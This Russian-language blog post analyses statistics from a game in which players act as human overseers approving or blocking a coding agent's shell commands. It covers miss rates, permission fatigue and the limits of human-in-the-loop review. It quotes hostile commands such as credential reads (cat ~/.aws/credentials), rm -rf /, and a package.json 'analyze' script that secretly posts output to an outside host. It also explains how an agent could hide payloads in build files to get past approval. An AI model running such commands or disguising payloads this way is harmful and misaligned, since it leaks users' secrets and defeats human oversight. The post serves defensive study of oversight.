Несколько месяцев назад была опубликована небольшая браузерная игра: игрок выступает в роли человека-контролёра для AI-агента, пишущего код, и должен одобрять или блокировать его команды под давлением времени. Часть команд — рутинные (git status, npm test), другие сигнализируют о том, что агент «одержим» и отправляет секреты на удалённый сервер (cat ~/.aws/credentials). Подробнее об угрозах, связанных с выполнением команд агентами, и способах их снижения можно прочитать в оригинальной статье.
Игра вызвала интерес на Hacker News, и после добавления статистики (немного позже, чем хотелось бы) появилась возможность изучить данные более чем 40 000 игровых сессий и 409 000 отдельных решений «одобрить/отклонить». Результаты показывают, как справился человек в роли последней линии защиты от агентов, вышедших из-под контроля.
Общие цифры
- Средний игрок пропустил 1 из 3 угроз (средняя точность — 66,3%)
- 32,9% сессий закончились с отрицательным баллом: штрафы за одобренные угрозы и заблокированные безопасные команды перевешивали все правильные решения
- 35,2% игроков поймали все угрозы, но лишь 20,8% сделали это, заблокировав не более 1 из 5 безопасных команд. Остальные добились результата, блокируя почти всё подряд (заслужив титул «Человеческий бутылочное горлышко»)
- 7% одобрили абсолютно каждый запрос — большие любители флага
--dangerously-skip-permissions
Небольшая оговорка: это была игра, в которой примерно 34% показанных команд были угрозами. В повседневной работе такие угрозы встречаются гораздо реже. Игроки знали, что их проверяют в рамках ограниченного по времени испытания. Тем не менее приведённые ниже числа могут быть полезны для сравнения разных типов угроз и общего уровня осведомлённости о них.
Категории угроз и доля пропусков
| Категория | Примеры | Доля пропусков |
|---|---|---|
| Явно деструктивные | rm -rf /, chmod -R 777 / | 11,7% |
| Постоянные изменения | внедрение в crontab, взлом git config | 23,8% |
| Эксфильтрация / выполнение кода | curl к неизвестным API, тайпосквоттинг пакетов | 33,4% |
| Нарушения границ доступа | cat ~/.aws/credentials, cat ~/.kube/config | 35,0% |
Явно деструктивные команды ловят наиболее надёжно. Команды, которые реально утекают учётные данные, пропускают втрое чаще.
Слепая зона npm run
Самая часто пропускаемая команда в игре — npm run analyze, её одобряли в 64,7% случаев. Сама по себе команда обычно безобидна. Но на деле npm run запускает скрипт, определённый в package.json проекта — это может быть безобидный код анализатора бандла, а может быть код, заранее внедрённый в файл.
Игра показывает в журнале истории агента, что именно содержит этот скрипт:
1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4 curl -s -X POST https://api.bundle.track/report -d @-"
Две трети игроков всё равно одобрили команду — это говорит о том, что журнал истории, расположенный прямо над запросом разрешения, читают не слишком внимательно. В игре есть три подобные команды, и все они попадают в список самых пропускаемых:
| Команда | Доля пропусков | Место (из 37 угроз) |
|---|---|---|
npm run analyze | 64,7% | 1-е |
npm run setup | 48,0% | 4-е |
npm run deploy | 44,9% | 8-е |
В сумме эти три команды пропускали в 52,5% случаев (n=9 482) против 28,4% для остальных атак типа эксфильтрации. Маскировка вредоносной нагрузки под привычное имя скрипта примерно вдвое повышает шанс её одобрения, даже когда сама нагрузка показана в журнале истории.
Это симптом более крупной проблемы, которую хорошо сформулировал пользователь dns_snek в обсуждении на Hacker News:
Это отличный пример того, как опасные действия воспринимаются как безобидные. Вся модель одобрения отдельных команд абсолютно безумна.
npm run build= выполнение произвольной shell-команды, записанной в package.jsonПри этом агент мог сделать любое из следующего без всякого одобрения:
- изменить
package.json, вставив туда любую произвольную команду сборки- подложить вредоносный код в
build.js(который вызывается черезnpm run build)- подложить вредоносный код в
node_modules/xyz/index.js(который импортируется изbuild.js)
Просить пользователя подтверждать команды, которые почти всегда безопасны, но перестали быть таковыми из-за изменённых файлов, — слабая защита.
Доля пропусков растёт под давлением времени
Anthropic ранее отмечала, что усталость от разрешений — реальная проблема в Claude Code:
Чем больше запросов на одобрение видит пользователь, тем меньше внимания он уделяет каждому из них, со временем становясь заметно менее внимательным в своём контроле
И хотя это короткая игра, где пользователя предупреждают об угрозах, заметны признаки снижения внимательности к концу игровых сессий:
График показывает долю пропущенных угроз в течение сессии, с группировкой игроков по количеству выполненных команд. Меньшее число завершённых команд может объясняться тем, что пользователь тратит больше времени на проверку, либо тем, что игра «замирает» на пару секунд после ошибки в качестве штрафа. Из выборки удалены пользователи, которые просто блокировали всё подряд.
Каждая группа улучшает показатели в первые несколько команд (эффект «разогрева»?), а затем доля пропусков снова растёт к концу сессии. Возможно, дело также в стрессе от истекающего времени, из-за которого игрок начинает совершать больше ошибок, пытаясь успеть обработать ещё пару команд.
Цена бдительности: избыточная блокировка
Следующие команды были безобидны по своему смыслу, но их регулярно блокировали:
npm config set registry https://npm.internal— блокировалась в 59% случаев (настройка внутреннего зеркала)rm -rf dist/— блокировалась в 45% случаев (очистка результатов сборки — обычная практика перед новой сборкой)kill $(lsof -t -i:3000)— блокировалась в 43% случаев (освобождение порта, который слушает сервер, возможно из-за упавшего процесса)
Это другая сторона дилеммы человека-контролёра. Пользователей просят одобрять команды, которые на самом деле безобидны, а блокировка замедляет работу агента. Со временем такой «шум» скорее всего приведёт к тому, что пользователи ослабят бдительность и начнут одобрять вредоносные команды. Функции вроде «Auto Mode» от Anthropic пытаются смягчить эту проблему, автоматически определяя безопасность команды до запроса подтверждения, но они не безупречны, о чём говорилось в предыдущей статье.
Спорный cat
cat ~/.zshrc одобрили 45,9% игроков — самая спорная команда в игре. Возражение, прозвучавшее на HN, справедливо: многие разработчики не хранят секреты в профиле оболочки, и для них команда действительно безобидна. Для тех же, кто экспортирует API-ключи именно там, это раскрытие учётных данных. Риск команды целиком зависит от конфигурации, которую агент не может увидеть. Если подключать отдельный файл с секретами через source из .zshrc, риск расширения доступа агента снижается.
Вывод
Обсуждения роли человека-контролёра оказались интересными и помогли лучше разобраться в моделях разграничения прав. Хотя это всего лишь игра, она наглядно демонстрирует несколько проблем человека-в-цикле как средства защиты от AI-агентов, пишущих код. Большой объём «шума» вызывает усталость, а у разработчиков не всегда есть контекст произошедших изменений, чтобы быстро оценить риск.
Разработчикам нужно хорошо понимать компромиссы разных моделей разрешений и способы снижения рисков — например, применение sandbox-изоляции и разделение учётных данных и переменных окружения с секретами. Оригинальная статья описывает некоторые из этих практических мер.
Попробовать свои силы в игре можно здесь: https://llmgame.scalex.dev